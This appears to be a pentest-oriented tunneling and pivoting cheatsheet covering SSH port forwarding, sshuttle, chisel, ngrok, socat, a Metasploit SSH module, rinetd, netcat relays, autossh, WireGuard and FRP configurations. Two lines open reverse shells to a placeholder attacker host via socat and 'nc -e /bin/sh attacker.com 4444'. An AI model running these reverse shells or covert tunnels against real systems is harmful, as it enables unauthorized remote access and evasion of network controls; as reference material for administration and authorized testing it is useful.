Forward local port to a remote service.
ssh -L <local_port>:<remote_host>:<remote_port> user@remote_host
Example:
ssh -L 8080:127.0.0.1:3306 user@server.com
Access MySQL on localhost:8080.
Expose a local service to a remote machine.
ssh -R <remote_port>:<local_host>:<local_port> user@remote_host
Example:
ssh -R 9000:127.0.0.1:22 user@server.com
Access local SSH via server.com:9000
.
ssh -D <local_port> user@remote_host
Example:
ssh -D 9050 user@server.com
Configure browser proxy: socks5://127.0.0.1:9050
sshuttle -r user@remote_host 0/0
For specific IP ranges:
sshuttle -r user@remote_host 192.168.1.0/24
./chisel server --reverse --port 8000
./chisel client <server>:8000 <local_port>:<remote_host>:<remote_port>
Example:
./chisel client server.com:8000 8080:127.0.0.1:80
./chisel client --reverse <server>:8000 R:<remote_port>:<local_host>:<local_port>
Example:
./chisel client --reverse server.com:8000 R:9000:127.0.0.1:22
ngrok http 80
ngrok tcp 22
socat TCP-LISTEN:<local_port>,fork TCP:<remote_host>:<remote_port>
Example:
socat TCP-LISTEN:8080,fork TCP:127.0.0.1:80
socat TCP:<attacker_ip>:4444 EXEC:/bin/bash
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
use auxiliary/server/ssh
set SRVPORT 2222
set SRVHOST 0.0.0.0
run
/etc/rinetd.conf
0.0.0.0 8080 192.168.1.100 80
Restart rinetd:
service rinetd restart
mkfifo /tmp/f; nc -l -p 8080 < /tmp/f | nc target.com 80 > /tmp/f
nc -e /bin/sh attacker.com 4444
autossh -M 0 -N -R 9000:localhost:22 user@remote_host
Edit /etc/wireguard/wg0.conf
:
[Interface]
Address = 10.0.0.1/24
PrivateKey = <server_private_key>
ListenPort = 51820
[Peer]
PublicKey = <client_public_key>
AllowedIPs = 10.0.0.2/32
Enable WireGuard:
wg-quick up wg0
Edit /etc/wireguard/wg0.conf
:
[Interface]
Address = 10.0.0.2/24
PrivateKey = <client_private_key>
[Peer]
PublicKey = <server_public_key>
Endpoint = <server_ip>:51820
AllowedIPs = 0.0.0.0/0
Start the VPN:
wg-quick up wg0
frps.ini
)[common]
bind_port = 7000
Start FRP server:
./frps -c frps.ini
frpc.ini
)[common]
server_addr = <server_ip>
server_port = 7000
[ssh]
type = tcp
local_port = 22
remote_port = 9000
Start FRP client:
./frpc -c frpc.ini
Access SSH via server_ip:9000
This cheatsheet covers various tunneling techniques using SSH, Chisel, Ngrok, Socat, and other tools. Choose the method based on your requirements (port forwarding, reverse shells, VPN-like tunneling, etc.).